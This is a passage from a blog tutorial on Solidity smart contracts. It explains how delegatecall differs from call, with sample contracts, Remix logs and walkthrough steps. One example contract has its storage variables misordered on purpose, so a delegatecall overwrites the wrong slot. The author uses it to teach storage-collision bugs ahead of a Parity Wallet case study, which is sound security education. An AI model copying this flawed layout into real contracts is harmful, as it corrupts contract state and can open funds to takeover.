</span></span><!--[endif]--><span style="color: white;"> address returnedAddress; <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">3.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> address logic_pointer = address(</span><span style="color: #e28964;">new</span><span style="color: white;"> </span><span style="color: #89bdff;">LogicContract</span><span style="color: white;">());<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">4.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">5.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> print_my_delgate_address() </span><span style="color: #e28964;">public</span><span style="color: white;"> returns(address){<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">6.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> logic_pointer.delegatecall(abi.encodeWithSignature(</span><span style="color: #65b042;">"print_address()"</span><span style="color: white;">));<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">7.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">8.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> print_my_call_address() </span><span style="color: #e28964;">public</span><span style="color: white;"> returns(address){<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">9.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> logic_pointer.call(abi.encodeWithSignature(</span><span style="color: #65b042;">"print_address()"</span><span style="color: white;">));<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">10.</span><!--[endif]--><span style="color: white;"> }</span></pre></div>
<p class="MsoNormal"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal">First thing to notice on line 2 is the use of the exact same
returnedAddress variable from the LogicContract. This is important when using
delegate calls as the call will modify that variable locally on the calling
contract from the Logic contracts remote functionality. If this variable does not exist it cannot be
set, you should always have the same variables in each contract and have them in
the correct order when using delegate call. We will talk more about variables and their
behavior with delegate calls shortly when manipulating memory elements. <o:p></o:p></p>
<p class="MsoNormal">Next you will notice two functions, one function that is
using a <b>call</b> on line 9 and one that is using a <b>delegatecall </b>on
line 6. <o:p></o:p></p>
<p class="MsoNormal">We will see the differences with using each of these call
types. Both of these functions are calling the same print_address function from
the LogicContract using the logic_pointer address variable created on line 3. The logic_pointer variable is simply the
address of the logic contract so our calls know where they are directed to. These
two calls look very similar but that is where the similarities end as we will
see in the following walkthrough. <o:p></o:p></p>
<p class="MsoNormal">Note: You will also notice some strange syntax wrapping our
call to print_address using abi.encodeWithSignature. This is just simply an encoding mechanism
before sending our data with our calls. Similar to encoding web calls with
base64 except that delegate call only accepts a single un-padded bytes argument.
It’s nothing special, it’s just the way we need to encode the data on these
types of calls.<o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<span style="font-size: 24px;"><b>Deploying our Simple Example: </b></span><br />
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">Actions to take: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l12 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Deploy the contract in remix</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l12 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Click the print_my_call_address button</p><p class="MsoListParagraphCxSpLast" style="mso-list: l12 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Click the print_my_delegate_address button</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l12 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l12 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l12 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">The deployed contract should look similar to the following
showing the contract address for CallingContract and the two functions
available to us: <o:p></o:p></p>
<p class="MsoNormal"><v:shapetype coordsize="21600,21600" filled="f" id="_x0000_t75" o:preferrelative="t" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" stroked="f">
<v:stroke joinstyle="miter">
<v:formulas>
<v:f eqn="if lineDrawn pixelLineWidth 0">
<v:f eqn="sum @0 1 0">
<v:f eqn="sum 0 0 @1">
<v:f eqn="prod @2 1 2">
<v:f eqn="prod @3 21600 pixelWidth">
<v:f eqn="prod @3 21600 pixelHeight">
<v:f eqn="sum @0 0 1">
<v:f eqn="prod @6 1 2">
<v:f eqn="prod @7 21600 pixelWidth">
<v:f eqn="sum @8 21600 0">
<v:f eqn="prod @7 21600 pixelHeight">
<v:f eqn="sum @10 21600 0">
</v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:formulas>
<v:path gradientshapeok="t" o:connecttype="rect" o:extrusionok="f">
<o:lock aspectratio="t" v:ext="edit">
</o:lock></v:path></v:stroke></v:shapetype><v:shape id="Picture_x0020_15" o:spid="_x0000_i1028" style="height: 233.25pt; mso-wrap-style: square; visibility: visible; width: 402.75pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png">
</v:imagedata></v:shape><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEnwCxAQAm37LLfhGtOL7nyjr7V_Pv7L8fYJJzDdtar73rphYKAZu17HXcabjl8kVwVejpdcdMa3ricm3yYB47ARYx0QHCsYi1LvJ0_pjOrgG0zlV4mN5A389mIC5d-YK2mToYNrTshk-T/s537/1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="311" data-original-width="537" height="370" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEnwCxAQAm37LLfhGtOL7nyjr7V_Pv7L8fYJJzDdtar73rphYKAZu17HXcabjl8kVwVejpdcdMa3ricm3yYB47ARYx0QHCsYi1LvJ0_pjOrgG0zlV4mN5A389mIC5d-YK2mToYNrTshk-T/w640-h370/1.png" width="640" /></a></div><br /><p></p>
<p class="MsoNormal">After you deploy the contract you will want to take note of
the address of the CallingContract. In this example above the buttons you will
see the calling contract address starts with the values 0x75A. Write the
address of your contract down, as this contract address will be important when
reviewing the output of the two functions print_my_call_address and
print_my_delegate_address. <o:p></o:p></p>
<p class="MsoNormal">First let’s review the output of using a regular call to the
logic contract. When we click the print_my_call_address button you will see a
new transaction post in the transaction window below the code. <o:p></o:p></p>
<p class="MsoNormal">Click the down arrow to view the transaction details and you
should see output similar to the following under the logs section. <o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">"event":
"contractAddress",<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">"args":
{<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "0":
"0x6B2789de80B82e8f7f7Dfe932e130Dc78D708d7E",<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "returnedAddress":
"0x6B2789de80B82e8f7f7Dfe932e130Dc78D708d7E",<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "length": 1<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> } <o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">The output shows the event that emitted when the logic
contract code was called with the returned address parameter coming from <b>this</b>. Notice that this is not the same address as
our calling contract. This is the address of our LogicContract. <o:p></o:p></p>
<p class="MsoNormal">Next click the button for print_my_delegate_address. Again,
check out the transaction window and click the down arrow to view the
details. Within the logs section of the
transaction you will see a similar event action: ___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">"event":
"contractAddress",<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">"args":
{<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in; text-indent: 0.5in;">"0":
"0x75a4Ca11b84DF2cfD87ee5219F71f32b5ADaaCeF",<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "returnedAddress":
"0x75a4Ca11b84DF2cfD87ee5219F71f32b5ADaaCeF",<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in; text-indent: 0.5in;">"length":
1<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> } <o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">This time note that the address returned is your
CallingContract address that starts with 0x75. This is because with delegate
call the code was run as if it was imported into the CallingContract using the
context of the CallingContract for the returnedAddress variable posted to the
event. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p><h3 style="text-align: left;"><o:p>Simple Delegate Call Video:</o:p></h3><p class="MsoNormal"></p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/pkD3TvdkaQ4" width="320" youtube-src-id="pkD3TvdkaQ4"></iframe></div><br /><o:p><br /></o:p><p></p><p class="MsoNormal"><o:p><br /></o:p></p><p class="MsoNormal"><o:p><br /></o:p></p>
<h2><a name="_Toc47892538">Variable Memory Issues with Delegate Calls</a><o:p></o:p></h2>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">Now let’s quickly go over how variables work within delegate
calls and the importance of properly aligning these variables so they do not
overwrite the wrong memory locations. In
our example above we saw that we can execute code from the logic contract in
the context of the caller. This is also
true for the storage in the contract. Both the code and the storage are based
on the context of the caller. <o:p></o:p></p>
<p class="MsoNormal">So, what does this mean?
It means that when we change the value of a variable using our logic
contract it will change the value of the variable within our calling contract
if a delegatecall is used. This can be quite dangerous and lead to disastrous
results as you will see in our Case Study of the Parity Wallet attack
walkthrough at the end of this chapter. <o:p></o:p></p>
<p class="MsoNormal">For now, let’s go over a simple example of what happens in
memory when variables are incorrectly handled with delegatecall. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><a name="_Toc47892539">DelegateCall Storage Example Code</a><o:p></o:p></h2>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> pragma solidity </span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">2.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">3.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> contract </span><span style="color: #89bdff;">LogicContract</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">4.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">uint</span><span style="color: white;"> </span><span style="color: #e28964;">public</span><span style="color: white;"> a;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">5.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">6.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> </span><span style="color: #e28964;">set</span><span style="color: white;">(uint256 val) </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">7.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> a = val;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">8.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">9.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">10.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">11.</span><!--[endif]--><span style="color: white;"> contract </span><span style="color: #89bdff;">CallingContract</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">12.</span><!--[endif]--><span style="color: white;"> uint256 </span><span style="color: #e28964;">public</span><span style="color: white;"> b = </span><span style="color: indianred;">5</span><span style="color: white;">; <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">13.</span><!--[endif]--><span style="color: white;"> uint256 </span><span style="color: #e28964;">public</span><span style="color: white;"> a = </span><span style="color: indianred;">5</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">14.</span><!--[endif]--><span style="color: white;"> address logic_pointer = address(</span><span style="color: #e28964;">new</span><span style="color: white;"> </span><span style="color: #89bdff;">LogicContract</span><span style="color: white;">());<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">15.</span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">16.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> setA(</span><span style="color: #e28964;">uint</span><span style="color: white;"> val) </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">17.</span><!--[endif]--><span style="color: white;"> logic_pointer.delegatecall(abi.encodeWithSignature(</span><span style="color: #65b042;">"set(uint256)"</span><span style="color: white;">, val));<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">18.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">19.</span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">This example
follows the same structure as the previous contract of having both the logic
and calling contract in the same solidity file and retrieving the logic
contracts address automatically for convenience. <o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Things to note:
<o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l8 level1 lfo9; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->There is only a single functionality between
these contracts that sets the value of “a”. </p><p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l8 level1 lfo9; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Three variables are set in the calling contract
“a”, “b” and “logic_pointer”</p><p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l8 level1 lfo9; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->One Variable is set in the logic contract “a”</p><p class="MsoListParagraphCxSpLast" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l8 level1 lfo9; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->A delegate call is used in the calling contract
to set the value of “a” using the set function from the logic contract. </p></blockquote><p class="MsoListParagraphCxSpFirst" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l8 level1 lfo9; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l8 level1 lfo9; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l8 level1 lfo9; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l8 level1 lfo9; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Action Steps: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l11 level1 lfo10; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Take note of the ordering of the variables
between the two contracts. </p><p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l11 level1 lfo10; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Type out this code into remix and then deploy
the CallingContract </p><p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l11 level1 lfo10; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Click the b and a button and review their values</p><p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l11 level1 lfo10; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Now click the setA button and review the values
again</p><p class="MsoListParagraphCxSpLast" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l11 level1 lfo10; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->What happened? </p></blockquote><p class="MsoListParagraphCxSpFirst" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l11 level1 lfo10; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l11 level1 lfo10; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l11 level1 lfo10; text-indent: -0.25in;"><o:p></o:p></p>
